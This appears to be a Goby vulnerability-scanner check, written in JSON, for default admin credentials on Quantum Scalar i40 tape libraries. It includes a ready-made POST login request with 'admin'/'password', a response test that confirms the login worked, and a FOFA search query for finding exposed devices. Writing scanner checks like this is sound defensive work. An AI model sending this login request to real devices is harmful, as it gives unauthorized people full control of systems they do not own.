{
  "Name": "Scalar i40 Default Credentials",
  "Description": "The Scalar i40 administrator 'admin' has a password that is set to the default value of 'password'. As a result, anyone with access to the DARC port can trivially gain full access to the machine via arbitrary remote code execution. ",
  "Product": "Quantum-Scalari40",
  "Homepage": "https://www.quantum.com/serviceandsupport/softwareanddocumentationdownloads/si40/index.aspx",
  "DisclosureDate": "2012-04-23",
  "Author": "gobysec@gmail.com",
  "FofaQuery": "title=\"Scalar i40 Login Screen\"",
  "Level": "3",
  "Impact": "Remote attacker can use this default to control the server.",
  "Recommendation": "It is imperative to change default manufacturer passwords and restrict network access to critical and important systems.",
  "References": [
    "https://fofa.so/"
  ],
  "HasExp": false,
  "ExpParams": [],
  "ExpTips": {
    "Type": "Tips",
    "Content": ""
  },
  "ScanSteps": [
	{
		"Request": {
		   "data": "CheckForOthers=1&LDAPDomain=&username=admin&password=password",
		   "data_type": "text",
		   "follow_redirect": false,
		   "header": {
			 "Content-Type": "application/x-www-form-urlencoded"
		   },
		   "method": "POST",
		   "uri": "/"
		 },
		"ResponseTest": {
		   "checks": [
			 {
			   "operation": "contains",
			   "type": "item",
			   "value": "homeview.htm",
			   "variable": "$head"
			 }
		   ],
		   "operation": "AND",
		   "type": "group"
		}
	}
  ],
  "ExploitSteps": null,
  "Tags": [
    "defaultaccount", "iot"
  ],
  "CVEIDs": null,
  "CVSSScore": "10.0",
  "AttackSurfaces": {
    "Application": null,
    "Support": null,
    "Service": null,
    "System": null,
    "Hardware": ["Quantum-Scalari40"]
  },
  "Disable": false
}